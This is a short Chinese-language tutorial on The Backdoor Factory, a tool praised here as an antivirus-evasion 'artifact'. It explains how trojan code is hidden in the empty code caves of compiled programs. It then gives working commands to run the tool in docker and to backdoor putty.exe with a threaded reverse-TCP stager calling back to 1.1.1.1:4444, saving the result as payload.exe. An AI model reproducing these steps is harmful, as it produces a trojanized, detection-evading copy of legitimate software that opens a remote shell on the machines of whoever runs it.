0x00. BDF简介
BDF是一款史诗级免杀神器,在它最巅峰时期遇神杀神、遇佛杀佛,blackhat上也出现过它的身影,虽然由于各大安全厂商越来越重视这款工具,导致它的免杀效果有所下降,不过它仍不失为一款杰出的神器,而且他利用的原理也是那么有创意!
0x01. BDF原理
笔者也涉猎不多,只能粗略解释一下,大家感兴趣可以看看它的作者在blackhat上的演讲,上面介绍了BDF的原理还讲解了BDFproxy的用法,因为kali环境老是出问题,所以这里就不介绍BDFproxy了。
原理
1. 在编译好的二进制文件中,经常会出现很多的00 00(称为代码洞)
2. 因为这些00 00是不包含数据信息的,所以如果我们将这些00 00替换成其他数据应该是不影响程序正常执行的
3. 现在将各个代码洞替换成我们生成的木马程序,结果也是可以执行的
4. 当程序执行时,再用指针将各个代码洞里面的代码连接成一个完整的木马程序,这样既不会破坏源程序,又能有效的将木马隐藏到二进制文件当中达到免杀效果
0x02. BDF安装
kali其实自带有BDF,不过貌似它的执行环境出了点BUG,所以果断放弃在kali上使用,笔者选择投向docker的怀抱
docker pull secretsquirrel/the-backdoor-factory
docker run -it -v /Users/apple1/Desktop/:/tmp secretsquirrel/the-backdoor-factory bash
【*】这里已经启动了docker中的BDF,不太了解docker的可以看看这篇文章
0x03. BDF生成免杀木马
1. 下载将要被注入木马的模版文件
2. 利用BDF生成木马
./backdoor.py -f /tmp/putty.exe -s iat_reverse_tcp_stager_threaded -J -H 1.1.1.1 -P 4444
3. 将生成的木马拖到物理机上
mv /the-backdoor-factory/backdoored/putty.exe /tmp/payload.exe